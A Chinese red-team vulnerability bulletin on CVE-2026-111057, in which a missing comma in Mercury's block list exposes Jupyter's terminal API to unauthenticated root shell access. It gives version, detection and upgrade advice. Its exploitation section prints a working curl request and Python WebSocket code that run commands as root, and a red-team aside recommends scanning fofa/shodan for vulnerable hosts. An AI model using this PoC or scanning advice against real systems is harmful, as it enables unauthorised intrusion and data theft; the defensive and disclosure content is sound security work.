速修 | Mercury 未认证 RCE 直接拿 root,CVE-2026-111057
红队安全圈
红队安全圈
红队安全圈
2026年10月20日 08:15
重庆
去阅读
一个漏写的逗号,让 Mercury 的访问控制整体失效——任何未认证访问者一条请求就能拿到服务器 root shell,CVSS 10.0 满分。
01 引言
Jupyter 生态里很流行的笔记分享工具 Mercury(mljar/mercury)被报了一个 CVSS 10.0 满分漏洞:一个少写的逗号让访问控制整体失效,未认证攻击者一条请求就能在服务器上开一个真实的 OS 级 shell。利用代码已随漏洞公告公开,复现门槛几乎为零,官方已发布 3.2.4 修复版。
02 漏洞速览
漏洞编号CVE-2026-111057
影响产品Mercury(mljar),笔记本转 Web 应用工具
受影响版本3.0.0 ~ 3.2.3
漏洞类型访问控制绕过 → 未认证 RCE
危害等级CVSS 10.0 Critical
在野/PoC暂无在野报告,PoC 已公开
攻击前提无,能访问到端口即可
一句话影响面:暴露在公网或内网共享段的 Mercury 实例,等于把 root shell 挂在网上。
03 漏洞成因
根因小到离谱:block\_handler.py 的拦截规则列表 BLOCKED\_PATTERNS 里,第一条正则的行尾漏了一个逗号。Python 会把相邻字符串字面量自动拼接,前两条规则被合并成了一条——实际生效的拦截列表只剩三条错误规则。
直接请求 /api/terminals 谁都匹配不上,请求原样穿透到 Jupyter Server 内置的终端 API。这个 API 的功能本身就是开一个真实 shell,通过 WebSocket 交互——于是整套访问控制形同虚设。一个逗号,干掉了黑名单。
04 影响范围
受影响:Mercury 3.0.0 至 3.2.3。
已修复:3.2.4(补丁就是把逗号补回去)。
高风险部署形态:Docker 默认配置直接对公网开放的实例。
05 利用分析
PoC 已随公告公开,步骤非常短。第一步,创建终端,一条请求:
curl -i -X POST \
http://target:8888/api/terminals
返回终端名,说明拦截没生效。第二步,连上终端的 WebSocket 执行命令,拿到交互式 shell:
import websocket, json, time
ws = websocket.create\_connection(
'ws://target:8888/terminals/websocket/1')
ws.send(json.dumps(['stdin', 'id\
']))
time.sleep(1)
print(ws.recv())
复现环境是 Docker 默认配置、Mercury 3.2.3,实测输出为 uid=0(root)——直接就是容器内 root。拿到 shell 之后:读环境变量里的密钥、改删任意文件、关停服务,或者以这台机器为跳板横向打内网。
06 检测与排查
先查版本:pip 装的执行 pip show mercury,Docker 部署看镜像 tag 是否 ≤3.2.3。
再验证端口是否可未认证访问(替换成自己的地址):
curl -i -X POST \
http://target:8888/api/terminals
返回 200 和终端名 JSON 就是中招;返回 403/404 说明拦截生效或端口未暴露。顺手排查公网暴露面:8888 端口对外的 Mercury 实例全部按高危处理。
07 修复建议
-
升级到 Mercury 3.2.4,这是唯一正解。
-
升级前应急缓解:不要把 Mercury 直接暴露公网,前面加 VPN、反向代理认证或防火墙白名单。
-
排查有无异常终端会话(/api/terminals 的访问日志),确认是否已被利用。
08 红队视角
这个洞的价值在于三点:无认证、无交互、PoC 现成。公网测绘上 Jupyter 系服务的 8888 端口非常好找,一轮 fofa/shodan 扫下来很可能有活鱼。
对蓝方来说这也是个提醒:访问控制这种看起来在的东西,一行代码改动就能让它静默失效。正则黑名单这类机制建议加单测覆盖——逐条规则拿匹配样本测一遍,逗号丢了 CI 就会叫。
09 POC 链接
https://github.com/mljar/mercury/security/advisories/GHSA-f8c7-rwf9-fmgm
说明:官方漏洞公告,内含完整复现步骤与代码(Docker 默认配置 + Mercury 3.2.3 实测)
下期继续蹲厂商补丁和 PoC 动静,关注后漏洞先知道,修复不踩坑。
— END —
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论